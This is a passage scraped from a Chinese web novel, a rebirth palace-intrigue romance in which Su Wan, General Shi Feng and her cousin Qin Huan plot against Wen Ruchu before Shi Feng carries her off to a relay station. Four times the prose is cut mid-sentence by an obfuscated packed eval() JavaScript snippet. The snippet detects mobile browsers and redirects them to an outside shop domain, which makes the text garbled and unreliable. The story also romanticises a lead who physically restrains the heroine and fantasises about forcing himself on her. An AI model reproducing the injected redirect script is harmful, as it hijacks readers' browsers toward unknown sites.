秦欢说得没错,此时时枫犹如困兽,根本没有任何援助。若凭他和晴雷两人,拼死冲出重围,尚有一线生机。可是对方挟持了苏绾在手,彻底封死了他的退路。 时枫不死心道:“你当我吓大的?本将军想走,任谁都拦不住我。” 秦欢道:“那是当然,将军威震四方,我这点鬼蜮伎俩,自然上不得台面。”转而又道:“只是错过了这次机会,将军想要再拿温如初,可就难了。” 他的眼眸讳莫如深,眸底暗藏杀机,令时枫感到莫名其妙,不知秦欢的决心与斗志,究竟从何而来。 时枫忍不住问道:“温如初怎么你了,让你这般痛恨他?” 秦欢笑道:“实不相瞒,鄙人对表妹一见倾心,闻得表妹受制于温如初的婚约,心内着实愤怒,愿倾尽己力,替表妹扫清一切障碍。” 他这一席话,前半句出来,已然炸了锅,后面说的什么,在场没人在意。 先不说别人,萧染第一个就炸了,细长眼眸瞪溜圆,襕衫一甩,上前急道:“这等私密之事,怎可与外人沟通?难不成,你、你真想与她入洞房,结良缘?” 秦欢瞪了他一眼,“这里没你的事,滚一边去。” 当事人苏绾一脸茫然:秦欢,表哥,他…… 上一世,秦欢与她恪守礼节,相敬如宾,以“温夫人”相称,极少当面向她表露爱意。他的爱深沉,温润,似一湾深海,沁人心脾。 可眼前实在不是表白的好时机啊。 果不其然,时枫蹭的一下从太师椅站起身,双手握拳,狠狠砸向桌案,震得案上花瓶倾覆,花瓶里的水洒出来,溅了秦欢的袍子一身湿。 时枫骤然伸出两手向前一探,隔着圆圆的桌案,揪着秦欢的衣领,强行拉扯凑向面前,目露凶光,恶狠狠道:“我杀了你。” 苏绾急道:“不要乱来!快住手!” 萧染急命:“快拿我的叉子来。” 秦欢摆摆手,示意萧染勿动。 他勇敢迎上那双凤眸,凛然道:“我知将军对表妹情深似海,我亦如此。你杀了我,于你,于她,没有半点好处,反倒替敌人扫除了障碍,何苦来呢?” “你我当联手,以除掉温如初为己任,剩下的事情,以后再议不迟。” “温如初如日中天,笼络阁老,染指后宫,很快,他还要谋朝篡位,杀尽天下忠良。” “我秦氏一族,阖族唯仰仗贵妃繁衍于世。贵妃皇后鹬蚌相争,今皇后得温如初庇佑,贵妃必败!而我秦氏,也将全族覆灭,永堕沉沦。” 眼眸里闪过前世的一幕幕惨状,令秦欢陷入痛苦的回忆中。 苏绾首次听说近日宫中剧变,心中颇为震撼,也无暇思考秦欢话语中的逻辑漏洞——他如何能笃定贵妃必败? 时枫早已在酒席上,从李鹤鸣的嘴里套出这些后宫纷争内幕,对秦欢的话,心里有了几分认同,他蓦然松开手,“哦,原来是为了贵妃啊,你这么说,我就明白了。” 他绝不屑于跟情敌共谋出路,合力打败另一个情敌。倘若是为族人安危,这个理由他全盘接受。 时枫揉了揉手指骨节,重新坐进太师椅,“说吧,你的计划如何。” 秦欢的计划,简单而大胆: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456674|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不日温如初即将抵达泺口渡,他将在官船设下埋伏,待得温如初乘船渡河时,将其一举拿下。 时枫嗤笑道:“他怎就一定会上你的船?他不会自己雇船吗?又或者,他根本不走泺口渡这条栈道。” 秦欢道:“官渡,民渡,都是一样的。山东境内三个渡口,所有往来船只,都是我的人。” 时枫眉头一皱,“即便如此,你也无法保证,他会乖乖束手就擒。他身边不乏高手,就连他自己也懂点拳脚功夫。” 秦欢道:“这就要看时将军了,不求你出手,只要你堵住他的逃生路线即可。” 时枫道:“整个京城都知道,我今与他反目成仇,他必是时时刻刻防着我。我又怎能有机会接近他的身边呢?” 秦欢道:“此为阳谋。就是要让将军与他来一场真刀真枪的较量,届时我的人会配合将军进行全船围剿,让敌人无处可逃。” 秦欢的策略,周密而完备,不可谓不可行。此人心思缜密,神秘莫测,绝不可小觑。他既承认自己钟情于苏绾,日后必定成为他最大的麻烦。 时枫撇撇嘴,“你就这么信任我?” 秦欢笑道:“冷面阎罗的名号,我自听说过,也十分钦佩。这桩事,非将军不可。” 两人遂讨论一番具体实施过程。临到末尾,却为一件小事莫名争吵不休。 时枫道:“我不管,苏绾我必须带走,绝不可能将她留给你。”笑话,把他的女人留给他的情敌,他可不傻。 秦欢态度强硬:“不可,此行任务艰险,表妹出了事情怎么办?”他绝不会将苏绾,拱手送到温如初手里。 时枫耍起无赖,“那好吧,我不干了,一样要带她走。你能奈我何?” 秦欢丢了一个眼神,萧染立刻会意,吩咐道:“把我的叉子拿来!” 苏绾眼看三个人吵吵嚷嚷,像小孩子争梨,双方各执一词,旁边还有帮腔作势的。 她面色一沉,“吵什么吵,烦死了!都给我闭嘴!” 三人同时停止争吵,目光齐齐望着她。 苏绾怒道:“可曾有人问过我的感受?我是一颗棋子,还是一只梨子?” 三人被她训斥一顿,竟都不由自主地低下头,彼此都不说话,莫名地安静。 苏绾沉着道:“我决定了,我要回去。” 三人同时抬起头。 苏绾攥了攥拳,按照他们三人的说法,温如初已在不知不觉中,提前一步控制了内阁和后宫,这一消息大大出乎她的意料之外。 上一世,等到温如初筹谋到这一步时,足足用了三年的时间。 时不我与,再不出手,为时晚矣。 苏绾道:“我会亲自说服温如初上船,并与他相处一室,不让他有任何机会遁逃。” “另外,时将军此行来到医馆,可说是专门为接我回去,这样也利于遮掩秦欢的行踪,不至于被敌人看清咱们的底牌。” “我有办法,让温如初相信我。” 一席话震慑众人,苏绾竟然有如此勇气和谋略,简直让人刮目相看。 秦欢虽担心她安危,然而见她坚持己见,也便不再强求。 时枫自是得意,“你总算做对了选择。”在他看来,苏绾此举,等于是在他和秦欢之间,选择了他。美哉洋洋乎! 四人商定详细计划,直到夜深人静。 (未完待续) 77. 赶路 银白骏马,载着一双妙人,枕着硕大的月亮,星夜兼程。 苏绾坐在颠簸的马背上,双手紧揪着马鬃,身体略微伏低,随着马儿踢踏的步伐上下起伏。她感到背后传来阵阵寒凉,仿佛有一股深不见底的怨气,从后方源源不断涌出,让她不寒而栗。 她轻咬着红润朱唇,声音中带着一丝不满,“喂,你难道不能为我单独准备坐骑吗?咱们非得共骑一匹马?踏月载着俩人的重量,也会疲惫啊。” 身后传来男人冷峻声音,带着不容置疑的决绝,“别以为我不知道你的诡计,还想要骑马逃之夭夭?我不会给你任何机会逃脱。” 说着,握着缰绳的手臂骤然收紧,将苏绾紧紧地箍在怀中,几乎让她喘不过气来。 苏绾双手压着粗壮的胳膊,挣扎着向上挪动身体,勉强挤出一丝缝隙来呼吸。她的脸颊因为憋闷而涨得通红,嘴唇也被咬得失去了血色,皎皎月光映照下,星眸也几欲失去光彩,她轻声嗔怪:“你这是何苦呢?在这荒郊野岭,夜黑风高处,我能逃到哪里去?而且,我们不是已经说好了吗,我会跟你回去,共同对抗温如初。连这点信任都没有,将来如何能并肩作战!” 话音刚落,便引来了男人的无情冷笑,“啧,就凭你那些小聪明小伎俩,还梦想着与本将军并肩作战?痴人说梦!我抓你回去,不过是要将你牢牢绑在我的身边,让你无处可逃。你这只狡猾的小狐狸,稍不留神就会溜走,这次我绝不会再放手。” 苏绾心中涌起一股寒意,她历经了无数的艰难险阻,想尽各种办法,没想到最终还是沦落到被囚禁,被束缚,被剥夺自由的地步。数月以来积累的信任与默契,仿佛在一瞬间破碎,化为乌有。 她感到自己如同一根轻飘飘的鸿毛,任何人都可以轻易地将她捏在手里,随意地插在腰间,当作一点装饰品,或者战利品,而她从此再也无法享受那自由自在的漂泊生活。 随着思绪的流转,她愈发觉得自己的命运充满了坎坷。重生一世,却依旧无法摆脱受制于人的命运。心中的世态炎凉无处宣泄,最终化作泪水,从她的眼底悄然滑落,她开始轻轻地抽泣。 美人堕泪,让时枫瞬间感到手足无措。他原本还在赌气,气她不告而别,气她移情别恋,更气她与别的男人联手算计他。虽然最终他赢得美人归,但他并不认为自己的胜利有多么光彩,毕竟她只是答应跟他回去对付温如初而已。 这样的念头一旦开始,让他更加愤怒,他恨不得将苏绾绑在自己身上,与自己合二为一融为一体。 苏绾说她想要骑马,怎么可能!如果她骑了别的马,他还怎么将她紧紧搂在怀中?医馆里的那一夜,根本不算什么,彼时他满脑子想的都是如何折磨她,蹂躏她,根本不得尽兴。 他心里盘算着,等回到随行护卫队,他一定要在驿站会馆将她吃干抹净,哼,让她哭着求自己轻点慢点。 正当他沉浸在绯色无尽幻想中时,苏绾的哭泣声彻底打断了他的美梦。睇着她的眼泪,如同断线的珍珠,纷纷堕落,全部都落在他的心尖上。 “别哭了。”男人怒气瞬间消散,慌忙用大手替她擦拭泪水,声音柔和了许多:“不让你骑马,是想让你保留秘密底线,你也不想让温如初知道你会骑马,对吧?” 苏绾听到这话,身体猛地一震,她竟然疏忽了这一点!在这一世,温如初并不知道她会骑马,她的鲁莽很可能会破坏整个计划。 她不得不承认,与那个精明的黑狗将军相比,她就像是只纯洁无邪的小白兔,根本不是那个家伙的对手。 时枫的声音再次响起,带着不容置疑的坚定:“至于你提出的方案,你要亲自去说服他,与你共处一室,那是绝对不可能的,想都不要想。我不会将你拱手让给他人。过去如此,现在如此,将来也绝不会改变。” 男人的眼神坚定而深邃,仿佛在向苏绾宣告他的所有权:“你只需乖乖地听从我的安排,紧跟在我身旁,他不敢对你有任何不敬。无论发生任何事,我都会挡在你前面,不让你受到半分委屈。” 对他如此一番大义凛然的言辞,苏绾并不感到意外,她毫不怀疑他对她的庇佑,又或者可以称之为,忠诚。 男人忧虑道:“秦欢的计划,胜算不过六成。他太过低估温如初了。” 苏绾微微扬起下颌,眼中闪烁着自信的光芒:“那剩下的四成,你我各占一半。” 时枫不屑地笑了笑,“你还真是自视甚高,此行你无异于羊入虎口,自寻死路,还真以为自己有能力与他抗衡。只要你不给我添乱,我就已经感激不尽了。” 苏绾挑起眉梢,语气中带着一丝不服输的倔强:“咱们就拭目以待吧,我保证不会成为你的负担。” 两人经过一番唇枪舌战,忽然都意识到气氛已经悄然变化,不再像最初那般紧张对峙。 苏绾以衣袖轻轻拂去脸颊泪痕,好奇道:“你是怎么进入诏狱的,又是如何被释放的,快告诉我。” 时枫的眉头微挑,戏谑道:“这与你何干?我还没跟你算这笔账呢,这一路下来,我为你收拾的烂摊子,少说也有五六桩。按照我们的契约,你欠我的可不少!别提医馆那次,那不算数。” 苏绾双眼一瞪,心中暗骂这个家伙怎么总是三句话离不开契约,满脑子都是龌龊念头。但她知道自己在理上站不住脚,也无法反驳他,只能咬着唇瓣,委屈巴巴地说:“为什么不算数?难道我就白白被欺负了吗?太过分了!” 心中一阵酸楚,她的眼眶又红了,嘤嘤地又要落泪。 时枫见状,语气软了下来:“好了好了,这次就算我们扯平,以后的事以后再说。” 苏绾的嘴角偷偷地上扬了一个弧度。 时枫见她不再哭泣,这才意识到自己被她戏弄了,脸色一沉:“你这个狡猾的小东西,竟敢算计我,胆子不小啊!” 他随即举起手,作势要打她。 苏绾一惊,唯恐对方故技重施,又要借故惩罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14471835|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,连忙用手护住自己的后臀,苦苦哀求道:“榆白哥哥莫生气,绾绾不敢了。” 但她等了许久,那手掌却迟迟没有落下。苏绾心中莫名紧张,不知道又哪里触怒了他。 正当她胡思乱想之际,男人突然伸出手臂,勾着她的削肩,将她紧紧揽入怀中。 他低下头,额头轻触她雪白的鹅颈,声音低沉而温柔:“谢天谢地,我终于找回了你。” * 月暗灯微,曙天将至。 晴雷遵照时枫的命令,留守医馆陪伴苏绾的几名随从。 小丫头春蝉见到侍卫晴雷到来,目光充满了崇拜,她一溜小跑趸至晴雷跟前,激动道:“大人,你今晚不走了吗?” 晴雷煞有介事地招手,假咳了一声,负手道:“世子爷有令,要我时刻守护各位,以防遭别有用心之人陷害。” 说完,拿眼角偷偷瞄众人的反应。 春蝉拍手道:“太好了!我早就期待,有机会和大人切磋一番武艺。捡日不如撞日,咱们抓紧时间,先来比试比试。” 她自被选中收入时枫帐下后,四处问询一阵,得知侍卫晴雷武功高强,乃锦衣卫嫡传弟子。心理一直琢磨着要与晴雷比武,可惜她之后很快就被苏家买去做扫院婢女,也没得机会再见到晴雷。后续的交流也只局限于飞鸽传书,传递情报而已。 说话间,春蝉自口袋掏出细鞭,风中呼啸一甩,发出劈啪的响声。 晴雷心中直呼好惨,与女流争斗,一点好处都没有,胜之则不武,败之脱层皮。他摆手推诿道:“今儿个太晚了,宜当早早歇息。” 正拉扯间,文竹跑出来看热闹,一眼瞧见晴雷,大吃一惊,指着对方结结巴巴道:“你、你是时将军的侍卫?” 晴雷因暗地跟踪过文竹,对他并不陌生,拱手笑问道:“正是在下。你可还好?” 文竹的白脸,瞬间涨得通红,手脚无处安放,有些不知所措。眼前的少年英雄,不仅是帮助他解决困难,顺利说服老道的智者;更是为他指明人生道路的导师,让他不再忍受屈辱与非难,站起身来勇敢面对自己。 文竹不好意思地笑了,低首道:“承蒙大人美意,小的还算过得去。” 俩人一来一回地交谈,谈及上回鬼市遭遇,感慨老道的奸滑狡诈;又谈到后续西城门的血腥之旅,文竹大大方方承认了自己的所作所为。 晴雷见他这般直爽,毫不遮遮掩掩,对文竹印象急剧提升;而文竹本就钦佩他少年才气勇毅,彼此都觉得颇为投缘。俩人兴致勃勃地谈天论地,因而冷落了一旁的春蝉和无霜。 眼见挑战不成,春蝉撅着小嘴,扯着无霜的衣袖,气呼呼地嚷着要回屋睡觉。 可她这一下,竟没能扯动无霜。 无霜痴痴地望着月下一双人影眉飞色舞交谈,激情火花四溅,她咬了咬唇,心中无端生出一丝嫉妒。 文竹是存心的! * (未完待续) 78. 驿站 晓鞍逐行,天地寥寥。 经过大半夜的长途跋涉,苏绾已是筋疲力尽,身躯疲惫不堪,腰腿酸痛难忍。若说她正值青春年华,体力尚佳,骑马夜行百里,亦不至于如此耗尽心神。实是那贴在背后的“黑狗将军”,如影随形,黏人至极。 一路上,要么箍着她的臂膀,要么贴着她的脊背,百十斤重量生生压制柔弱身躯之上,压得她如同弯腰驼背的老妪。她能不吐血,已算坚强不屈了。 “喂,你这人,骨头是棉花做的吗?好歹挪挪身子,我快被你压死了。”苏绾没好气似的抱怨道。 高大的身躯,如同黑鹰般俯卧单薄削肩,一动不动假装沉睡,面颊紧贴雪白鹅颈,贪婪地享受甜美的馨香与柔软的温度。 苏绾咬牙道:“哼,照这蜗牛般的行进速度,与大部队汇合还需两日之遥。到那时,黄花菜已经凉透了。” 听到佳人一番怨言控诉,那被戏称为“没骨头”的男人,眼角微挑,露出一抹狡黠的光芒,勾唇道:“你就这么心急如焚,赶着去送死吗?” 苏绾撇撇嘴,“你以为我们出来游山玩水吗?难道还要沿途赏景、闲逛市集不成?肩负重任,岂能耽搁!” 凤眸闪过一丝复杂的神色,似乎在权衡着什么,嘴角勾起一抹玩世不恭的微笑,“妙计,就依你之言。” 男人突然挺直腰板,恢复往日的英姿飒爽,动作迅速而果断,紧握缰绳调转马头,顷刻间离开官道,转入一条幽静的辅路。 苏绾心中一惊,脱口而出:“你要干什么?”她的心跳在胸腔中加速,揣测他又在捣什么鬼。 时枫不理睬她,策马奔腾,马蹄声显得格外清脆,他们穿梭于丛林中的小径,道路蜿蜒曲折,仿佛没有尽头。 路旁的灌木和荆棘无情地划过衣角和袖袍,引得苏绾连连埋怨:“这是要化身为野兽,回归丛林深处了吗?” 时枫的眼眸洋溢着兴奋的光芒,他快马加鞭,语气中带着一丝急切:“就快到了,再忍耐片刻。” 大约行了几十里的路程,地势逐渐变得陡峭,最终来到了一座山崖前的高台。 男人矫健地跳下马背,转身伸出手臂,眼中闪烁着期待的光芒,“下来,到我怀里。” 苏绾心中忐忑不安,嘴里小声嘀咕:“你不会是在这荒郊野外,暗害我小小弱女子吧?!” 时枫不由分说,掐着她的腰肢将她从马上抱下,横腰抱着她继续前行。 苏绾急得脚踹坚硬如铁的肌肉,惊慌道:“喂,你想把我从这高台上扔下去,让我摔个粉身碎骨吗?” “闭上眼睛。”男人的声音中带着不容置疑的决绝。 他小心翼翼地跨上高台,轻轻地将她放下,“现在可以睁开眼睛了。” 苏绾依言而行,缓缓睁开了眼睛。 眼前是一幅壮阔的山河图卷。河水浩浩荡荡,气势磅礴,山峦天工开物,鬼斧神工。山间云雾缭绕,绿树葱茏,鸟鸣山更幽。近处渔村野市、水榭亭台、茅庵草舍、水磨长桥,动静结合恰到好处。细节之严谨,堪比王希孟《千里江山图》 千里江山,如此多娇。 苏绾不禁感慨,怪不得古往今来,无数英雄豪杰竞相为之折腰。 从前,她不理解温如初为何费尽心机,不惜一切代价也要夺取那九五之尊的宝座。她以为,那些不过是男人之间的权谋游戏。 然而,目睹秦欢、时枫、萧染等人相继投身于这场所谓的“男人的游戏”,彼此乐在其中,她似乎渐渐领悟到了其中的玄机。 天下熙熙,皆为利来;天下攘攘,皆为利往。那至高无上的皇权,正是世间利益的极致体现。 她之所愿,自己不必沦为他人眼中的猎物,成为众人争夺的战利品。在这权谋的漩涡中,她只求能保持一份清明,不被世间纷扰所裹挟。 突然间,苏绾的右手被人轻轻拉起,指尖传来冰凉的触感。 “是什么?”苏绾本能地想要挣脱,却忍不住抬腕凑近眼前细看。 指间套着一只精致的金指环,中央镶嵌一颗黝黑的宝玉。她轻轻翻转手掌,阳光透过宝石,折射出一片深邃的绿意。 时枫的目光落在自己的脚面,耳朵不自觉地染上了一抹红晕,“本来有一对,可以做成耳珰。但是其中一个,已经被、被我用掉了。” “你是走街串巷的玉石贩子吗?”苏绾一边调侃他,一边用指腹摩挲着指环。 时枫尴尬地挠了挠头,解释道:“这些都是我在漠南与匈奴王交战时,所缴获的战利品。原石大约有拳头那么大,经过工匠的精心打磨,分成五小块:一块送给时樾打了印章,一块镶嵌在我爹传给我的紫菁宝剑,一块原本嵌在我的束腕,如今已经遗失,一块绑在你送给我的络子,还有一块……” 他的目光落在那顶指环,脸颊如同火烧一般,“送、送给你,留作纪念。” 苏绾摇了摇头,态度十分坚决:“这份礼物太贵重了,我不能接受。”她试图摘下指环。 时枫脸色骤变,嗓音带着一丝嘶哑,“你敢!” 粗犷大手紧紧抓住皓腕,捏着葱指,力度之大以至于纤细的指尖都泛起了白色,“戴上了本将军的东西,你就是本将军的人了,还想摆脱我?绝不可能!” “苏绾,这一生,我都不会放手。生生世世,你都是我的人!”他的话语中充满了占有和承诺,是誓言,也是宣告。 他咬牙切齿的吐露心声,爱意表达既激烈又粗暴,让苏绾感到浑身不自在,心中暗自嘀咕:这个家伙,怎么这么难相处啊! 苏绾轻声嘟囔:“好啦好啦,我知道了。你快松手呀,捏得人家好疼。” 男人眼中闪过一丝得意,终于放开了手,嘴上仍旧不依不饶:“不许骗我,也不许耍小聪明。我会不定期检查,一旦发现你把它丢了,我绝不饶你。” 苏绾揉搓泛红的手腕,小声抱怨:“真是个霸道的黑狗将军,逼着人家收下你的东西。” 她的话还没说完,忽然感到后脑被一只大手稳稳托住,将她的身体骤然拉近。 男人低下头,浓密的睫毛下目光深邃,“绾绾,我等了你两世,终于等到了你。” 苏绾还在思索他所说的“两世”究竟何意,下一刻,湿润的唇已经覆盖上来,强势的舌尖占领了她的感官。 她起初试图挣扎,很快发现自己根本无力抗拒,那暴风骤雨般的热情,最终放弃了抵抗,任由他尽情征服。 时间仿佛在这一刻凝固。 晨光洒在他们身上,为他们披上了一层金色的光环,两人与周围的壮丽山河融为一体,仿佛成为了一幅永恒的画卷。 下山时,苏绾好奇地问道:“你怎么知道这里有观景台?你不是从未踏足过山东境内吗?” 时枫自信满满地回答:“世间万物,岂能逃过本将军的洞察。” 苏绾翻了个白眼,调侃道:“又开始装神弄鬼了。” 肯定是他昨日狂奔二百里途中偶然发现的。在那种愤怒的情绪驱动下,他竟然还能留意到周围的山水,真不知道他的心思究竟放在了哪里。 她想了想,提醒道:“我们已经耽搁了这么久,还是快点赶路吧。如果晚了,被人发现你擅离职守,那可不是闹着玩的。” 话音刚落,她就后悔了,意识到自己可能又说错了话,可能会激怒他。 果不其然,男人突然沉默,良久。 苏绾见他脸色突变,心中一紧,知道自己的话可能触动了他的逆鳞。她连忙解释道:“我并非有意催促,只是担心你……” 男人却不为所动,脸色阴沉地打断她:“你既如此说,我偏不赶紧回去,偏要逛够了才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14512091|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他抬头望了望天空,时间已是辰时,太阳渐渐毒辣耀眼,阳光洒在大地上,带来了一天中最炽热的时刻。 男人说道:“我累了,找个地方歇脚先。” 苏绾知道,此时再多的争辩也是无益,她只能顺着他的意思,点了点头:“好吧,我们找个阴凉的地方休息一会儿。” 行至几十里路程之后,放眼望去,蜿蜒曲折的古道上,悄然伫立一座驿站。驿站是供传递官府文书和军事情报的人或来往官员,途中食宿、换马的场所。 驿站外墙由青石砖砌就,岁月的侵蚀留下了斑驳痕迹。门前两尊石狮威武地守护,目光蕴含往昔荣光。朱漆大门敞开,门楣之上悬挂风化的匾额,上面镌刻着“平安驿”三个大字,笔锋如刀,透露出庄严肃穆之感。 时枫停步下马,立即上来几名仆役将踏月牵入马厩喂食清理。 身穿深色官服的驿丞,拱手行礼。时枫怀里掏出勘合,交给驿丞查看。 驿丞狐疑地扫了一眼,二人一马形迹可疑,明明自南面而来,如何持有“良”字牌。 朝廷采用“温、良、恭、俭、让”五字作为勘合字号,即官方凭证。 “温”字供衍圣公、张真人在孝陵之间的往来;“良”字供在京官员出差地方所用;“恭”字供地方官员上京使用;“俭”字照顾伤兵及家属抚恤金;“让”字安抚远征兵及属国。 眼前的将军凶神恶煞,身后跟着的女子则是一脸柔弱相。这哪里是随行护卫将军,分明是强占女子的恶霸。 驿丞反复查看勘合,小心翼翼问道:“温侍郎大人南下杭州,途径济南府官道,本驿处在西面辅路,未曾接到任何招待巡抚的通知啊。” 时枫瞥了一眼北面方向,淡淡道:“我自先来开路,扫除一切障碍,确保前程无忧,温大人走另一条官道。”紧接着凤眸一凛,“怎么,不信我?本将军的勘合,难道是假的不成?” 驿丞听过“冷面阎罗”的名号,见他如此说,也不敢再多问,连连点头哈腰,引领二人到一处上房。 室内陈设朴素而实用,没有过多的装饰。房间的北面是一张结实的木床,床上铺着干净的棉被。房间一角设有简易的洗漱架,上面摆放着一盆打好的清水和干净的毛巾,墙上挂着一面铜镜。 时枫将毛巾打湿,递给苏绾,冷冷道:“擦脸。” 苏绾迟疑地接过毛巾,胡乱抹了把脸,她总觉得事情不对劲。 擦完脸,男人又要苏绾脱鞋,端着木盆放在脚边,“洗脚。” 苏绾越发地慌乱,急道:“不是说好扯平了吗?你又要做什么?你敢欺负我,我就喊救命!” 时枫瞪了苏绾一眼,捞着她的腿,脱掉鞋袜,摁着玉足放进盆里。 雪白的脚丫浸在冷水里,一股清凉自脚掌向上蔓延,顷刻解了大半日的劳累。 “从前我急行军的时候,每日最期盼的就是坐下泡脚,简直舒服死了。”男人一边揉搓玉足,一边唠叨不休。 苏绾又怕又羞,又不敢忤逆他,否则不知又要搞出什么幺蛾子来,只好任由他搓磨。 洗漱完毕,男人上手就去解她的衣扣,这下苏绾彻底慌了,躲进木床一角,急道:“不要,我不要。” 惊慌失措的模样,好似受惊玉兔,令时枫忍不住动了凡心,他伸出手指,轻轻捏了捏她的脸颊,柔声道:“我不欺负你,你好好睡觉,有什么事醒了再说。” 好端端让她睡什么觉,必是没安好心。苏绾保持十万分警惕,抱着被子紧盯着时枫。 男人抱着手臂,饶有兴趣地看着她,面颊挂着宠溺的笑意。 大概这一夜发生诸多事,让她太过疲乏,与他对峙了一会,苏绾渐渐阖合眼眸。 时枫哄睡苏绾之后,离开房里叫来驿丞,吩咐道:“你帮我办件事情。” 79. 离别 他在诏狱受罚时,半梦半醒间,恍惚看到苏绾摇曳向他走来。 「瑞雪兆丰年,上元佳节至。 紫禁之巅,银粟纷飞,华灯初上,映雪如昼。 一队宫娥手提琉璃灯,莲步轻挪,袅娜娉婷,走在宫廷夹道。 正碰见凤眸清冽的男人,身著黑色貂裘外氅,英姿飒爽,应邀入宫赴上元筵宴。 宫娥纷纷低身纳福:“奴婢叩拜王爷。” 男人敏锐的目光,一一扫过队伍,骤然落在队末的小宫女身上。她身穿酒红色斗篷,帽遮下灵眸流转,唇红齿白,在一众相貌平平的宫女堆里,显得尤为出类拔萃。 哦,这一次装扮宫女。 男人看破不说破,微微颔首,向外挪了挪身子。 任由她弓着婀娜腰身,像只优雅的玉猫,从他的眼皮子底下轻盈走过,留下一缕淡淡的馨香。雪地上留下浅浅足迹,宛若梅花点点。 男人凤眸沉了沉,饶有兴趣地悄然尾随。 宫娥行至冷宫入口,苏绾停住脚步,向她们摆手,示意其离开。 她独自一人咯吱咯吱踩着积雪,向深宫艰难行进。娇小的身影,藏在酒红色斗篷,显得楚楚可怜。 好几次,时枫都想紧着上前一步,掐着她的腰肢,将小东西抱离积雪的束缚。 男人咬了咬牙,强忍着冲动,目光炯炯盯着前方行路的玉兔。 冷宫栈道伫立一方身影,穿着孔雀翎的斗篷,冷冷清清。 苏绾打眼望见人影,兴奋地加快脚步,边跑边摇手呐喊:“秦欢!” 她两步趸至秦欢跟前,翘脚问道:“你等了多久?” 秦欢抬手掸去她斗篷上的落雪,温声道:“没有很久,你一路行来,冻坏了吧。” 苏绾摇摇头,星眸绽放光彩,“不冷,冻坏了也不怕,秦大夫会治好我的。” 秦欢刮了下她的小鼻梁,“不乖。天寒地冻,偏要跑到我这里来。” 苏绾依偎进秦欢的怀抱,娇声道:“人家思念你嘛~” 一双妙人融为一体。 时枫躲在枯树后面,眼睁睁地看着二人花前月下,卿卿我我,心里止不住地泛酸。 他本来也可以这般甜蜜拥她入怀。 造化弄人。 可他又有什么办法呢?他遍寻宫廷内外,终于找到配得上她的如意郎君,并亲手将秦欢推到她的身边,就为了给她找一个能够依靠的臂膀。 呵呵。 时枫苦笑一声。 作茧自缚。 长夜漫漫,白雪皑皑。」 时枫自梦中醒来,第一反应先是啐了一口,梦里的自己怎么会那般懦弱无能,竟然亲手将她送给别人,真不叫个男人。 待得时枫出了诏狱,跟随大部队南下之后,某日他收到前方小分队传来的消息,信中特意提到“秦欢”的名字,讲秦欢与苏绾联手害死百户长。 那一刻,时枫只觉得全身血液倒流,汗毛根根竖立。梦里的人物角色,居然在现实生活中出现了,而且还与苏绾有着密切的联系。 二百里纵马奔驰的路上,他开始回忆数月来他所做的关于苏绾的那些梦境,渐渐地发现了一些联系和线索。 梦境似乎按照一定的时间与事件发展顺序,娓娓讲述他与苏绾的爱恨情仇。目前已进行到,她与别人缠绵悱恻,他却束手无力的阶段。 也许发生在上一世,又或者另一个时空。以他的认知和能力,暂时无法理解。但他直觉上认为,梦境绝不是空穴来风,也并非凭空虚构,一定有它存在的意义。也许那个世界的“他”,想要通过梦境,传递给他重要的信息和线索。 等到时枫亲眼见到秦欢以后,他更加断定梦境的真实性——因为眼前的秦欢,与梦里的秦欢,长得一模一样。 既然如此,他绝不可能重蹈覆辙,再次将苏绾拱手让人,因此他才顶着巨大风险,非要把苏绾绑在身边不可。 她离开他,哪怕一秒钟,他也不能安心。 时枫出了房间,吩咐驿丞拿来火牌——军事情报专用戡合。又取出金质符牌,此乃京营兵权的象征。 他备好笔墨,书就一封密函,将火牌、符牌、密函一并交给驿丞,让他发往京营,钦点大理寺卿邵云礼接收。 他须做两手准备: 其一,他将京营兵权交由邵云礼手中,请他代为掌管。凡军中之事,非经邵云礼许可,任何人不得擅自调兵遣将,纵是天子亦不得逾越。这是他爹时谦与龙椅上的那位,以血与火铸就的铁券丹书,活着的人不得违背。 其二,让邵云礼深入虎穴,探查秦欢的真面目。据秦欢所言,他与温如初为敌,旨在捍卫家族荣光,这一说法难以自证,其间必有隐情。 倘若他不幸遭遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 